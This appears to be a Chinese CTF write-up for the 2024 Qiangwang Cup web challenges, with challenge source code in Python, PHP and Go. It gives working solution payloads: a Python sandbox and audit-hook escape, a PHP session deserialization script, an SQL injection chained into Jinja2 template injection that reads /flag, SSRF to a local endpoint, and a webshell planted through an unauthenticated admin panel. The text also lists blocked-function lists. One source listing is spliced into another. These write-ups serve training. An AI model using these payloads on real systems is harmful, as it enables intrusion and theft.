https://github.com/CTF-Archives/2024-qwbs8/releases/tag/v0.1
web 1 PyBlockly
积木编程
index是拼图编程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 from flask import Flask, request, jsonifyimport reimport unidecodeimport stringimport astimport sysimport osimport subprocessimport importlib.utilimport jsonapp = Flask(__name__) app.config['JSON_AS_ASCII' ] = False blacklist_pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]" def module_exists (module_name ): spec = importlib.util.find_spec(module_name) if spec is None : return False if module_name in sys.builtin_module_names: return True if spec.origin: std_lib_path = os.path.dirname(os.__file__) if spec.origin.startswith(std_lib_path) and not spec.origin.startswith(os.getcwd()): return True return False def verify_secure (m ): for node in ast.walk(m): match type (node): case ast.Import: print ("ERROR: Banned module " ) return False case ast.ImportFrom: print (f"ERROR: Banned module {node.module} " ) return Fal<?php class notouchitsclass { public $data; public function __construct($data) { $this->data = $data; } public function __destruct() { eval ($this->data); } } class SessionRandom { public function generateRandomString() { $length = rand(1 , 50 ); $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' ; $charactersLength = strlen($characters); $randomString = '' ; for ($i = 0 ; $i < $length; $i++) { $randomString .= $characters[rand(0 , $charactersLength - 1 )]; } return $randomString; } } class SessionManager { private $sessionPath; private $sessionId; private $sensitiveFunctions = ['system' , 'eval' , 'exec' , 'passthru' , 'shell_exec' , 'popen' , 'proc_open' ]; public function __construct() { if (session_status() == PHP_SESSION_NONE) { throw new Exception("Session has not been started. Please start a session before using this class." ); } $this->sessionPath = session_save_path(); $this->sessionId = session_id(); } private function getSessionFilePath() { return $this->sessionPath . "/sess_" . $this->sessionId; } public function filterSensitiveFunctions() { $sessionFile = $this->getSessionFilePath(); if (file_exists($sessionFile)) { $sessionData = file_get_contents($sessionFile); foreach ($this->sensitiveFunctions as $function) { if (strpos($sessionData, $function) !== false) { $sessionData = str_replace($function, '' , $sessionData); } } file_put_contents($sessionFile, $sessionData); return "Sensitive functions have been filtered from the session file." ; } else { return "Session file not found." ; } } } se return True def check_for_blacklisted_symbols (input_text ): if re.search(blacklist_pattern, input_text): return True else : return False def block_to_python (block ): block_type = block['type' ] code = '' if block_type == 'print' : text_block = block['inputs' ]['TEXT' ]['block' ] text = block_to_python(text_block) code = f"print({text} )" elif block_type == 'math_number' : if str (block['fields' ]['NUM' ]).isdigit(): code = int (block['fields' ]['NUM' ]) else : code = '' elif block_type == 'text' : if check_for_blacklisted_symbols(block['fields' ]['TEXT' ]): code = '' else : code = "'" + unidecode.unidecode(block['fields' ]['TEXT' ]) + "'" elif block_type == 'max' : a_block = block['inputs' ]['A' ]['block' ] b_block = block['inputs' ]['B' ]['block' ] a = block_to_python(a_block) b = block_to_python(b_block) code = f"max({a} , {b} )" elif block_type == 'min' : a_block = block['inputs' ]['A' ]['block' ] b_block = block['inputs' ]['B' ]['block' ] a = block_to_python(a_block) b = block_to_python(b_block) code = f"min({a} , {b} )" if 'next' in block: block = block['next' ]['block' ] code +="\n" + block_to_python(block)+ "\n" else : return code return code def json_to_python (blockly_data ): block = blockly_data['blocks' ]['blocks' ][0 ] python_code = "" python_code += block_to_python(block) + "\n" return python_code def do (source_code ): hook_code = ''' def my_audit_hook(event_name, arg): blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"] if len(event_name) > 4: raise RuntimeError("Too Long!") for bad in blacklist: if bad in event_name: raise RuntimeError("No!") __import__('sys').addaudithook(my_audit_hook) ''' print (source_code) code = hook_code + source_code tree = compile (source_code, "run.py" , 'exec' , flags=ast.PyCF_ONLY_AST) try : if verify_secure(tree): with open ("run.py" , 'w' ) as f: f.write(code) result = subprocess.run(['python' , 'run.py' ], stdout=subprocess.PIPE, timeout=5 ).stdout.decode("utf-8" ) os.remove('run.py' ) return result else : return "Execution aborted due to security concerns." except : os.remove('run.py' ) return "Timeout!" @app.route('/' ) def index (): return app.send_static_file('index.html' ) @app.route('/blockly_json' , methods=['POST' ] ) def blockly_json (): blockly_data = request.get_data() print (type (blockly_data)) blockly_data = json.loads(blockly_data.decode('utf-8' )) print (blockly_data) try : python_code = json_to_python(blockly_data) return do(python_code) except Exception as e: return jsonify({"error" : "Error generating Python code" , "details" : str (e)}) if __name__ == '__main__' : app.run(host = '0.0.0.0' )
定义了两个路由,一个用于提供静态 HTML 文件,另一个用于接收 Blockly JSON 数据并处理
审计钩子(audit hook)是 Python 提供的一种机制,用于监视和控制某些操作的执行。下面逐行分析 do(source_code)
函数中的 hook_code
部分,以帮助理解它的作用和工作原理。
hook代码分析 1 2 3 4 5 6 7 8 9 10 11 hook_code = ''' def my_audit_hook(event_name, arg): blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"] if len(event_name) > 4: raise RuntimeError("Too Long!") for bad in blacklist: if bad in event_name: raise RuntimeError("No!") __import__('sys').addaudithook(my_audit_hook) '''
1. 定义审计钩子函数 1 def my_audit_hook (event_name, arg ):
这里定义了一个名为 my_audit_hook
的函数,它接受两个参数:
event_name
:表示触发的事件名称。
arg
:与该事件相关的附加参数。
2. 定义黑名单 1 blacklist = ["popen" , "input" , "eval" , "exec" , "compile" , "memoryview" ]
创建一个黑名单,列出了不允许调用的函数或操作。这些函数可能会导致安全漏洞,因此需要被拦截。
popen
:用于创建子进程。
input
:用于获取用户输入。
eval
:用于执行字符串形式的 Python 表达式。
exec
:用于执行字符串形式的 Python 代码。
compile
:用于编译字符串为代码对象。
memoryview
:用于创建内存视图,可能涉及底层内存操作。
3. 检查事件名称长度 1 2 if len (event_name) > 4 : raise RuntimeError("Too Long!" )
如果事件名称的长度超过 4 个字符,则引发 RuntimeError
。这可以防止某些潜在的滥用情况。
4. 检查黑名单 1 2 3 for bad in blacklist: if bad in event_name: raise RuntimeError("No!" )
遍历黑名单中的每个不安全的操作,如果事件名称中包含任何黑名单中的操作,则引发 RuntimeError
,表示不允许该操作。
5. 注册审计钩子 1 __import__ ('sys' ).addaudithook(my_audit_hook)
使用 __import__('sys')
动态导入 sys
模块,并通过 addaudithook
函数注册 my_audit_hook
。这意味着每当执行某些操作时,my_audit_hook
都会被调用。
这个审计钩子的目的是在执行 Python 代码时,监控并拦截不安全的操作。通过注册这个钩子,任何尝试调用黑名单中的操作(如 popen
、eval
等)都会被阻止,从而提高代码执行的安全性。
json > block > python
抓一个
根据
1 2 3 4 5 elif block_type == 'text': if check_for_blacklisted_symbols(block['fields']['TEXT']): code = '' else: code = "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"
unicode.unicode 绕过黑名单过滤
https://symbl.cc/cn/unicode-table/#halfwidth-and-fullwidth-forms
通过覆写 绕过len检测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 { "blocks" : { "languageVersion" : 0 , "blocks" : [ { "type" : "print" , "id" : "B0R|:TPC-hd7mhwcqn[w" , "fields" : { "TEXT" : "';__import__("builtins").len=lambda x:0;print(__import__("os").system("ls"));'" } } ] } }
没权限,查找suid
/bin/dd
dd提权
1 2 3 4 5 6 7 8 9 10 11 12 13 14 { "blocks": { "languageVersion": 0, "blocks": [ { "type": "print", "id": "B0R|:TPC-hd7mhwcqn[w", "fields": { "TEXT": "';__import__("builtins").len=lambda x:0;print(__import__("os").system("dd if=/flag of=/dev/stdout"));'" } } ] } }
www.zip下载源码
在index.php中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php session_start ();require 'user.php' ;require 'class.php' ;$sessionManager = new SessionManager ();$SessionRandom = new SessionRandom ();if ($_SERVER ['REQUEST_METHOD' ] === 'POST' ) { $username = $_POST ['username' ]; $password = $_POST ['password' ]; $_SESSION ['user' ] = $username ; if (!isset ($_SESSION ['session_key' ])) { $_SESSION ['session_key' ] =$SessionRandom -> generateRandomString (); } $_SESSION ['password' ] = $password ; $result = $sessionManager ->filterSensitiveFunctions (); header ('Location: dashboard.php' ); exit (); } else { require 'login.php' ; }
在登录之后的面板 dashboard.php
1 <?php echo htmlspecialchars ($_SESSION ['user' ]); ?>
参考 web 263 的 session 反序列化
具体实现, 在class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 <?php class notouchitsclass { public $data ; public function __construct ($data ) { $this ->data = $data ; } public function __destruct ( ) { eval ($this ->data); } } class SessionRandom { public function generateRandomString ( ) { $length = rand (1 , 50 ); $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' ; $charactersLength = strlen ($characters ); $randomString = '' ; for ($i = 0 ; $i < $length ; $i ++) { $randomString .= $characters [rand (0 , $charactersLength - 1 )]; } return $randomString ; } } class SessionManager { private $sessionPath ; private $sessionId ; private $sensitiveFunctions = ['system' , 'eval' , 'exec' , 'passthru' , 'shell_exec' , 'popen' , 'proc_open' ]; public function __construct ( ) { if (session_status () == PHP_SESSION_NONE) { throw new Exception ("Session has not been started. Please start a session before using this class." ); } $this ->sessionPath = session_save_path (); $this ->sessionId = session_id (); } private function getSessionFilePath ( ) { return $this ->sessionPath . "/sess_" . $this ->sessionId; } public function filterSensitiveFunctions ( ) { $sessionFile = $this ->getSessionFilePath (); if (file_exists ($sessionFile )) { $sessionData = file_get_contents ($sessionFile ); foreach ($this ->sensitiveFunctions as $function ) { if (strpos ($sessionData , $function ) !== false ) { $sessionData = str_replace ($function , '' , $sessionData ); } } file_put_contents ($sessionFile , $sessionData ); return "Sensitive functions have been filtered from the session file." ; } else { return "Session file not found." ; } } }
那么整体思路就是利用
1 2 3 4 5 class .php class .php class .php
其中
反序列化的对象 利用 :
1 2 3 4 5 6 7 8 9 class notouchitsclass { public $data ; public function __construct ($data ) { $this ->data = $data ; } public function __destruct ( ) { eval ($this ->data); } }
1 <?php echo htmlspecialchars ($_SESSION ['user' ]); ?>
进行测试,因为sessionid的问题我们请求需要连贯,然后第一次请求session_id文件并没有内容,需要请求两次,然后再进行反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import requestsimport osurl = "" while True : data = { "username" : "exec" * 9 + "popen" , "password" : ';session_key|O:15:"notouchitsclass":1:{s:4:"data";s:18:"syssystemtem("ls -alh");";}user|s:1:"1aaaa' } sess = os.urandom(8 ).hex () r = requests.post(url + "/index.php" , data=data, headers={ "Cookie" : f"PHPSESSID={sess} " }, allow_redirects=False ) r = requests.post(url + "/index.php" , data=data, headers={ "Cookie" : f"PHPSESSID={sess} " }, allow_redirects=False ) r = requests.post(url + "/dashboard.php" , data=data, headers={ "Cookie" : f"PHPSESSID={sess} " }, allow_redirects=False ) text = r.text if 'total ' in text: print (text) print (sess) break
1 2 3 xxxxxxxxxxxxxxxxxxx...xxxxxx;session_key|O:15:"notouchitsclass":1:{s:4:"data";s:28:"syssystemtem("/readflag;ls -alh");";}user|s:1:"1aaaa ;session_key|O:15:"notouchitsclass":1:{s:4:"data";s:28:"system("/readflag;ls -alh");";}user|s:1:"1aaaa
发包第一次session写入的还没被replace
第二次才被replace,第三次才触发反序列化
(被xdebug硬控了一套 我的php版本被系统变量写死了没发现)
web 3 xiaohuanxiong TP框架 等安装好之后 跑 dirsearch 可以扫到
后台未授权
1 http://....../admin/admins/
进入之后 支付设置里面直接修改 php的配置代码,直接一句话木马
AntSword 秒了
这里Tel✌用了一种极有创意的做法 是通过sqlmap进行注入查询 进而破解了密码的哈希加密 tql
web 4 snake 分为两关
Less1 跑脚本, 自动化脚本要寻找优先路径, 判断边界值 和 判断是否咬到自己
星盟的参考脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 import requestsimport timefrom collections import dequeurl = "http://....../move" name = "http://....../set_username" res = requests.post(name,{"username" :"aaa" }) cookie = res.cookies game_state = requests.post(url,cookies=cookie,json={"direction" :"RIGHT" }).json() DIRECTIONS = { "UP" : [0 , -1 ], "DOWN" : [0 , 1 ], "LEFT" : [-1 , 0 ], "RIGHT" : [1 , 0 ] } WIDTH, HEIGHT = 20 , 20 def get_snake_head (snake ): return snake[0 ] def is_valid_move (snake, next_head ): return (0 <= next_head[0 ] < WIDTH and 0 <= next_head[1 ] < HEIGHT and next_head not in snake) def find_path (snake, food ): queue = deque([(get_snake_head(snake), [])]) visited = set (tuple (segment) for segment in snake) while queue: current, path = queue.popleft() if list (current) == food: return path for direction in DIRECTIONS.values(): next_head = (current[0 ] + direction[0 ], current[1 ] + direction[1 ]) if is_valid_move(snake, next_head) and next_head not in visited: visited.add(next_head) queue.append((next_head, path + [next_head])) return [] def move_snake (direction ): response = requests.post(url,cookies=cookie, json={"direction" : direction}) return response.json() def auto_snake (game_state ): snake = game_state["snake" ] food = game_state["food" ] path = find_path(snake, food) if path: next_head = path[0 ] head = get_snake_head(snake) if next_head[0 ] < head[0 ]: move_direction = "LEFT" elif next_head[0 ] > head[0 ]: move_direction = "RIGHT" elif next_head[1 ] < head[1 ]: move_direction = "UP" else : move_direction = "DOWN" return move_snake(move_direction) else : print ("No valid path to food!" ) return game_state if __name__ == "__main__" : while game_state["status" ] == "ok" : game_state = auto_snake(game_state) print (game_state) print (game_state)
win了之后会返回一个/snake_win?username=choco
Less2 这里 username 存在 sql注入
1 snake_win?username= aaa' union select "{{7*7}},"{{7*8}}","{{7*9}}" --
发现 time
的值变成了49,于是我们可以进行 jinja2 注入,用eval来执行python代码
1 http://eci-2zeg9nmyrzhwqonhgzax.cloudeci1.ichunqiu.com:5000/snake_win?username=aaa' union select "{{7*7}}","{{7*8}}","{{x.__init__.__globals__[' __builtins__'][' eval '](' __import__(\'os\').popen(\'cat /flag\').read ()')}}"--%20
神奇的做法 太长见识了
web 5 Playground 给我CPU看冒烟了..等会? a? qwq
web 6 Proxy ?怎么下载下来是docker部署的源码啊(这对吗)
go源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 package mainimport ( "bytes" "io" "net/http" "os/exec" "github.com/gin-gonic/gin" ) type ProxyRequest struct { URL string `json:"url" binding:"required"` Method string `json:"method" binding:"required"` Body string `json:"body"` Headers map [string ]string `json:"headers"` FollowRedirects bool `json:"follow_redirects"` } func main () { r := gin.Default() v1 := r.Group("/v1" ) { v1.POST("/api/flag" , func (c *gin.Context) { cmd := exec.Command("/readflag" ) flag, err := cmd.CombinedOutput() if err != nil { c.JSON(http.StatusInternalServerError, gin.H{"status" : "error" , "message" : "Internal Server Error" }) return } c.JSON(http.StatusOK, gin.H{"flag" : flag}) }) } v2 := r.Group("/v2" ) { v2.POST("/api/proxy" , func (c *gin.Context) { var proxyRequest ProxyRequest if err := c.ShouldBindJSON(&proxyRequest); err != nil { c.JSON(http.StatusBadRequest, gin.H{"status" : "error" , "message" : "Invalid request" }) return } client := &http.Client{ CheckRedirect: func (req *http.Request, via []*http.Request) error { if !req.URL.IsAbs() { return http.ErrUseLastResponse } if !proxyRequest.FollowRedirects { return http.ErrUseLastResponse } return nil }, } req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte (proxyRequest.Body))) if err != nil { c.JSON(http.StatusInternalServerError, gin.H{"status" : "error" , "message" : "Internal Server Error" }) return } for key, value := range proxyRequest.Headers { req.Header.Set(key, value) } resp, err := client.Do(req) if err != nil { c.JSON(http.StatusInternalServerError, gin.H{"status" : "error" , "message" : "Internal Server Error" }) return } defer resp.Body.Close() body, err := io.ReadAll(resp.Body) if err != nil { c.JSON(http.StatusInternalServerError, gin.H{"status" : "error" , "message" : "Internal Server Error" }) return } c.Status(resp.StatusCode) for key, value := range resp.Header { c.Header(key, value[0 ]) } c.Writer.Write(body) c.Abort() }) } r.Run("127.0.0.1:8769" ) }
代理请求 :
在Go代码中,定义了一个API /v2/api/proxy
,它接收一个JSON格式的请求,其中包含了要转发的请求信息(URL、方法、请求体、请求头等)。
当调用该API时,Go服务会根据请求中提供的信息构造并执行另一个HTTP请求。
获取flag的API :
在另一个API /v1/api/flag
中,直接通过执行命令/readflag
来获取flag,并将其返回给客户端。
这个API没有任何身份验证或访问控制,意味着任何人都可以访问它。
构造代理请求 :
构造一个POST请求,将请求的URL指向http://localhost:8769/v1/api/flag
,即刚才提到的获取flag的API。
由于通过代理请求转发了这个请求,Go代码会执行它,并且返回结果给原始请求的发起者。
路径解析 请求流
客户端(Python脚本)向Go代理服务的/v2/api/proxy
发送POST请求,提供要代理的请求信息,目标URL指向/v1/api/flag
。
Go服务接收到请求后,构造一个新的请求,并使用http.Client
执行它。
Go服务获取到/v1/api/flag
的响应(flag),并将其返回给最初的请求者
可以通过/v2/api/proxy
这个往本地的8379端口发送http请求
回显内容到前端浏览器,可以通过代码写出对应的json数据 (有点像本地xss的思路)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import requestsimport jsonurl = "http://....../v2/api/proxy" headers = { "Content-Type" : "application/json" , } data = { "url" : "http://localhost:8769/v1/api/flag" , "method" : "POST" , "body" : "" , "headers" : {}, "follow_redirects" : False , } response = requests.post(url, headers=headers, data=json.dumps(data)) print (response.text)
web 7 Password Game 反序列化链子的构造
题目提示: 正确的解不会经过错误的代码,请观察一下是否能篡改可以输出的地方
先去准备明天的数电实验了.. 明天极限再做做看( 以及去研究以下web5 web9 )
web 8 EzCalc 暂无
web 9 Proxy_revenge https://blog.yllhwa.com/qwb-2024-proxy-revenge-wp/